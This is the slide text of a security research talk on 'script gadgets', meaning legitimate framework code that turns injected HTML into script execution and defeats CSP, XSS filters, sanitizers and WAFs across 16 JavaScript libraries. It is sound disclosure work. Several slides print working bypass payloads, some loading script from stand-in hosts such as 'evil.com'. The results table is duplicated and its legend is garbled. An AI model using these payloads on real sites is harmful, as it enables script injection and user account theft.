Breaking XSS mitigations via Script Gadgets

Sebastian Lekies (@slekies)
Krzysztof Kotowicz (@kkotowicz)
not here: Eduardo Vela Nava (@sirdarckcat)
XSS and mitigations
XSS mitigations

- Despite considerable effort XSS is a widespread and unsolved issue.
  - Data point: 70% of vulnerabilities in Google VRP are XSSes.
- Basic assumption of XSS mitigation techniques:

  **XSS vulnerabilities will always exist.**
  
  *Let’s instead focus on mitigating the attack.*

- Mitigations *aim* to stop those ways to exploit XSS
XSS mitigations

- **WAFs, XSS filters**
  Block requests containing dangerous tags / attributes

- **HTML Sanitizers**
  Remove dangerous tags / attributes from HTML

- **Content Security Policy**
  Distinguish legitimate and injected JS code
  - Whitelist legitimate origins
  - Whitelist code hash
  - Require a secret nonce

```
<p width=5>
  <b><i>
```
```
<script>
onload=   
```
Mitigations assume that blocking dangerous tags & attributes stops XSS.

Is this true when building an application with a modern JS framework?
Selectors

- JavaScript’s whole purpose is to interact with the document
- JavaScript interacts with the DOM via so-called selectors:

```html
<myTag id="someId" class="class1" data-foo="bar"></myTag>

<script>
tags = document.querySelectorAll("myTag"); // by tag name
tags = document.querySelectorAll("#someId"); // by id
tags = document.querySelectorAll(".class1"); // by class name
tags = document.querySelectorAll("[data-foo]"); // by attribute name
tags = document.querySelectorAll("[data-foo^=bar]"); // by attribute value
</script>
```
Selectors in Frameworks

- Selectors are fundamental to all JavaScript frameworks and libraries
- E.g. jQuery is most famous for it’s $ function:
  
  ```javascript
  $('<jquery selector>').append('some text to append');
  ```

- Bootstrap framework uses data-attributes for its API:
  
  ```html
  <div data-toggle=tooltip title='I am a tooltip!'>some text</div>
  ```
Any security issues with this code?
DOM cannot be trusted, even when benign tags/attributes are used. Legitimate code turns them into JS & bypasses the mitigations.

XSS Example

XSS BEGINS HERE
<div data-role="button" data-text="<script>alert(1)</script>"></div>
XSS ENDS HERE
<div data-role="button" data-text="I am a button"></div>

<script>
var buttons = $('[data-role=button]');
bbuttons.attr("style", "...");
// [...]
bbuttons.html(button.getAttribute("data-text"));
</script>
Script Gadgets
A Script Gadget is a piece of legitimate JavaScript code that can be triggered via an HTML injection.
Research

Are gadgets common?

We took 16 modern JavaScript frameworks & libraries

- A mix of MVC frameworks, templating systems, UI component libraries, utilities
- Curated selection based on popularity lists, StackOverflow questions & actual usage stats

Angular (1.x), Polymer (1.x), React, jQuery, jQuery UI, jQuery Mobile, Vue, Aurelia, Underscore / Backbone, Knockout, Ember, Closure Library, Ractive.js, Dojo Toolkit, RequireJS, Bootstrap
Research

1. We built sample applications in every framework
2. We added XSS flaws
3. We set up various XSS mitigations:
   - CSP - whitelist-based, nonce-based, unsafe-eval, strict-dynamic
   - XSS filters - Chrome XSS Auditor, Edge, NoScript
   - HTML Sanitizers - DOMPurify, Closure HTML sanitizer
   - WAFs - ModSecurity w/CRS
4. We manually analyzed the frameworks code
5. And started writing bypasses using **script gadgets**
We bypassed *every* tested mitigation. We have PoCs!

Mitigation bypass-ability via script gadget chains in 16 popular libraries

<table>
<thead>
<tr>
<th>Content Security Policy</th>
<th>WAFs</th>
</tr>
</thead>
<tbody>
<tr>
<td>whitelists</td>
<td></td>
</tr>
<tr>
<td>3 /16</td>
<td></td>
</tr>
<tr>
<td>nonces</td>
<td></td>
</tr>
<tr>
<td>4 /16</td>
<td></td>
</tr>
<tr>
<td>unsafe-eval</td>
<td></td>
</tr>
<tr>
<td>10 /16</td>
<td></td>
</tr>
<tr>
<td>strict-dynamic</td>
<td></td>
</tr>
<tr>
<td>13 /16</td>
<td></td>
</tr>
<tr>
<td>ModSecurity CRS</td>
<td>9 /16</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>XSS Filters</th>
<th>Sanitizers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Chrome</td>
<td></td>
</tr>
<tr>
<td>13 /16</td>
<td></td>
</tr>
<tr>
<td>Edge</td>
<td></td>
</tr>
<tr>
<td>9 /16</td>
<td></td>
</tr>
<tr>
<td>NoScript</td>
<td></td>
</tr>
<tr>
<td>9 /16</td>
<td></td>
</tr>
<tr>
<td>DOMPurify</td>
<td>9 /16</td>
</tr>
<tr>
<td>Closure</td>
<td>6 /16</td>
</tr>
</tbody>
</table>
Example gadgets

- `document.querySelector()`, `document.getElementById()`, ...
- `eval()`, `.innerHTML = foo`, ...
- `document.createElement('script')`, `document.createElement(foo)`
- `obj[foo] = bar`, `foo = foo[bar]`
- `function()`, `callback.apply()`, ...

Such snippets are seemingly benign & common in JS framework/libraries.
Script Gadgets can be chained to trigger arbitrary JS code execution.
Example: Knockout

The syntax is benign HTML i.e. browser won’t interpret it as JavaScript.

Knockout activates it using the following statements:

```javascript
switch (node.nodeType) {
  case 1: return node.getAttribute(“data-bind”);
}

var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),
  functionBody = "with($context){with($data||{}){return{" + rewrittenBindings + "}}}";
return new Function("$context", "$element", functionBody);

return bindingFunction(bindingContext, node);
```
Example: Knockout

Knockout creates an **Attribute value** => **function call** chain

```html
<div data-bind="foo: alert(1)"></div>
```

- Payload is contained in **data- attribute value**
- Variants of the above bypass
  - DOMPurify
  - XSS filters
  - ModSecurity CRS
Knockout code processes the data from the DOM:

```javascript
ko.bindingHandlers['html'] = {
  'update': function (element, valueAccessor) {
    ko.utils.setHtml(element, valueAccessor());
  }
};

ko.utils.setHtml = function(node, html) {
  if (jQueryInstance)
    jQueryInstance(node)['html'](node);
};

function DOMEval( code, doc ) { // JQuery 3
  var script = doc.createElement( "script" );
  script.text = code;
  doc.head.appendChild( script ).parentNode.removeChild( script );
}

Example: Knockout

```
Example: Knockout

Attribute value => document.createElement('script') chain

- strict-dynamic CSP propagates trust to programmatically created scripts
- Bypass for **strict-dynamic CSP**

```html
<div data-bind="html:'<script src="//evil.com"></script>'"></div>
```
Simple Script Gadgets

**Example:** Bypassing CSP strict-dynamic via Bootstrap

```
<div data-toggle=tooltip data-html=true title='&lt;script&gt;alert(1)&lt;/script&gt;'></div>
```

**Example:** Bypassing sanitizers via jQuery Mobile

```
<div data-role=popup id='--&gt;&lt;script&gt;alert(1)&lt;/script&gt;'></div>
```

**Example:** Bypassing NoScript via Closure (DOM clobbering)

```
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
```
Simple Script Gadgets

Example: Bypassing ModSecurity CRS via Dojo Toolkit

```html
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{"">
</div>
```

Example: Bypassing CSP unsafe-eval via underscore templates

```html
<div type=underscore/template> <% alert(1) %> </div>
```
Script Gadgets in expression parsers
Gadgets in expression parsers

Aurelia, Angular, Polymer, Ractive, Vue

- The frameworks above use non-eval based expression parsers
- They tokenize, parse & evaluate the expressions on their own
- Expressions are “compiled” to Javascript
- During evaluation (e.g. binding resolution) this parsed code operates on
  - DOM elements, attributes
  - Native objects, Arrays etc.
- With sufficiently complex expression language, we can run arbitrary JS code.
- Example: AngularJS sandbox bypasses
Gadgets in expression parsers

**Example:** Aurelia - property traversal gadgets

```html
<td>
  ${customer.name}
</td>
```

```javascript
if (this.optional('.')) {
  // ...
  result = new AccessMember(result, name);}

AccessMember.prototype.evaluate = function(...) { // ...
  return /* ... */ instance[this.name];
};
```
Gadgets in expression parsers

**Example:** Aurelia - function call gadgets

```html
<button foo.call="sayHello()"> Say Hello! </button>
```

```javascript
if (this.optional('(')) {
    // ...
    result = new CallMember(result, name, args);
}
```

```javascript
CallMember.prototype.evaluate = function(...) {
    // ...
    return func.apply(instance, args);
};
```
Gadgets in expression parsers

How to trigger alert(1)?

- Traverse from Node to window
- Get window[“alert”] reference
- Execute the function with controlled parameters

```html
<div ref=me
    s.bind="$this.me.ownerDocument.defaultView.alert(1)"></div>
```

This approach bypasses all mitigations tested, even whitelist- and nonce based CSP.
Gadgets in expression parsers

Example: Bypassing whitelist / nonced CSP via **Polymer 1.x**

```
<template is=dom-bind><div
  c={{alert('1',ownerDocument.defaultView)}}
  b={{set('_rootDataHost',ownerDocument.defaultView)}}>
</div></template>
```

Example: Bypassing whitelist / nonced CSP via **AngularJS 1.6+**

```
<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(1)"
```
Gadgets in expression parsers

With those gadgets, we can create more elaborate chains.

Example: creating a new `<script>` element in **Polymer 1.x**

```html
<template is=dom-bind>
  five={{insert(me._nodes.0.scriptprop)}}
  four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
  three="{{set('me',nextSibling.previousSibling)}}"
  two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
  scriptprop={{_factory()}}
  one={{set('_factoryArgs.0','script')}} >
</template>
```
Gadgets in expression parsers

Sometimes, we can even construct CSP nonce exfiltration & reuse:

**Example:** Stealing CSP nonces via Ractive

```html
<script id="template" type="text/active">
  <iframe srcdoc="
    <script nonce={{@global.document.currentScript.nonce}}>
      alert(1337)
    </script>
  ">
  </iframe>
</script>
```
Bypassing mitigations with gadgets

- **XSS filters, WAFs**
  - Encode the payloads
  - Confuse the parser
  - Externalize the payload (window.name?)

- **Client-side sanitizers**
  - Find chain with whitelisted elements / attributes (e.g. data- attributes in DOMPurify)

- **CSP unsafe-eval**
  - Find DOM => eval gadget chain

- **CSP strict-dynamic**
  - Find DOM => createElement(‘script’) chain

- **Whitelist/nonce/hash-based CSP**
  - Use framework with custom expression parser
Overall results
How common are gadgets and gadget chains?

How effective are they in bypassing XSS mitigations?
Results

We found bypass chains for *every* mitigation tested.

Mitigation bypass-ability via script gadget chains in 16 modern libraries

<table>
<thead>
<tr>
<th></th>
<th>CSP</th>
<th>XSS Filter</th>
<th>Sanitizers</th>
<th>WAFs</th>
</tr>
</thead>
<tbody>
<tr>
<td>whitelists</td>
<td>3 / 16</td>
<td>13 / 16</td>
<td>9 / 16</td>
<td>9 / 16</td>
</tr>
<tr>
<td>nonces</td>
<td>4 / 16</td>
<td>10 / 16</td>
<td>9 / 16</td>
<td>6 / 16</td>
</tr>
<tr>
<td>unsafe-eval</td>
<td>10 / 16</td>
<td>13 / 16</td>
<td>9 / 16</td>
<td>9 / 16</td>
</tr>
<tr>
<td>strict-dynamic</td>
<td>13 / 16</td>
<td>9 / 16</td>
<td>9 / 16</td>
<td>9 / 16</td>
</tr>
</tbody>
</table>

- Whitelist & nonce-only based CSPs performed best
- *unsafe-eval* and *strict-dynamic* relax the CSP (esp. when combined)
- False-negative prone mitigations perform better (Edge vs Chrome XSS filter)
<table>
<thead>
<tr>
<th>Framework / Library</th>
<th>CSP</th>
<th>XSS Filter</th>
<th>Sanitizers</th>
<th>WAFs</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>whitelists</td>
<td>nonces</td>
<td>unsafe-eval</td>
<td>strict-dynamic</td>
</tr>
<tr>
<td>Vue.js</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Aurelia</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>AngularJS 1.x</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Polymer 1.x</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Underscore / Backbone</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Knockout</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>jQuery Mobile</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Ember.js</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>React</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Closure</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Ractive</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Dojo Toolkit</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>RequireJS</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>jQuery</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>jQuery UI</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Bootstrap</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Framework / Library</td>
<td>CSP</td>
<td>XSS Filter</td>
<td>Sanitizers</td>
<td>WAFs</td>
</tr>
<tr>
<td>------------------------------------------</td>
<td>--------------------------</td>
<td>---------------------</td>
<td>------------------</td>
<td>-------------</td>
</tr>
<tr>
<td></td>
<td>whitelists</td>
<td>nonces</td>
<td>unsafe-eval</td>
<td>strict-dynamic</td>
</tr>
<tr>
<td>Vue.js</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Aurelia</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>AngularJS 1.x</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Polymer 1.x</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Underscore / Backbone</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Knockout</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>jQuery Mobile</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Emberjs</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>React</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Closure</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Ractive</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Dojo Toolkit</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>RequireJS</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>jQuery</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>jQuery UI</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Bootstrap</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
</tbody>
</table>

- **Fo** - Found bypass
- **B** - Bypass unlikely to exist
- **U** - Requires unsafe-eval
- **D** - Requires userland code
- **F** - Development mode only (won’t work on real websites)
- **R** - Requires userland code
- **C** - Requires unsafe-eval
- **W** - Development mode only (won’t work on real websites)
- **E** - Requires unsafe-eval
- **M** - Requires unsafe-eval
- **S** - Requires unsafe-eval

![Diagram with icons indicating security features](image-url)
Results

- PoCs at [https://github.com/google/security-research-pocs](https://github.com/google/security-research-pocs)
- Bypasses in **53.13%** of the framework/mitigation pairs
- 💡💡💡 React, 💡 EmberJS
- XSSes in **Aurelia, Angular (1.x), Polymer (1.x)** can bypass all mitigations via expression parsers
Caveats

● Comparing mitigations
  ○ We evaluate only **one** aspect: bypass-ability via Script Gadgets
  ○ We ignore deployment costs, performance, updatability, vulnerability to regular XSSes etc.

● Comparing frameworks
  ○ Similarly, we evaluate the presence of exploitable gadget chains and nothing else

● Default settings
  ○ Sometimes altering a setting disables some gadgets
  ○ Example: DOMPurify `SAFE_FORTEMPLATES`

● Userland code was necessary in some instances
  ○ Such code reasonably exists in real-world applications - e.g. jQuery `after()`
Summary & Conclusions
Summary

● **XSS mitigations work by blocking attacks**
  ○ Focus is on potentially malicious tags / attributes
  ○ Most tags and attributes are considered benign

● **Gadgets can be used to bypass mitigations**
  ○ Gadgets turn benign attributes or tags into JS code
  ○ Gadgets can be triggered via HTML injection

● **Gadgets are prevalent in all modern JS frameworks**
  ○ They break various XSS mitigations
  ○ Already known vectors at [https://github.com/google/security-research-pocs](https://github.com/google/security-research-pocs)
  ○ Find your own too!
Outlook & Conclusion

**XSS mitigations are not aligned with modern JS libraries**
- Designed to stop traditional XSSes (DOM, reflected, stored) only
- We consider Gadgets as “game changing”

**We looked at frameworks, but what about user land code?**
- We are currently running a study to find gadgets on Alexa top 5000 sites
- Preliminary results suggest that gadgets are wide-spread

**What do we do about it?**
Outlook & Conclusion

Adding “gadget awareness” to mitigations likely difficult:
  ○ Multiple libraries and expression languages
  ○ False positives (example)

Patching gadgets in frameworks problematic:
  ○ Multiple libraries
  ○ Some gadgets are harder to find than XSS flaws
  ○ Developer pushback - there’s no bug (XSS is a bug)
  ○ Sometimes gadgets are a feature (e.g. expression languages)
  ○ Feasible only in controlled environment
Outlook & Conclusion

- A novice programmer, today, cannot write a complex but secure application
- The task is getting harder, not easier
- We need to make the platform **secure-by-default**
  - Safe DOM APIs
  - Better primitives in the browser
  - Build-time security:
    - e.g. precompiled templates (see Angular 2 **AOT**)
- We need to develop better **isolation** primitives
  - **Suborigins**, `<iframe sandbox>`, **Isolated scripts**
Thank You!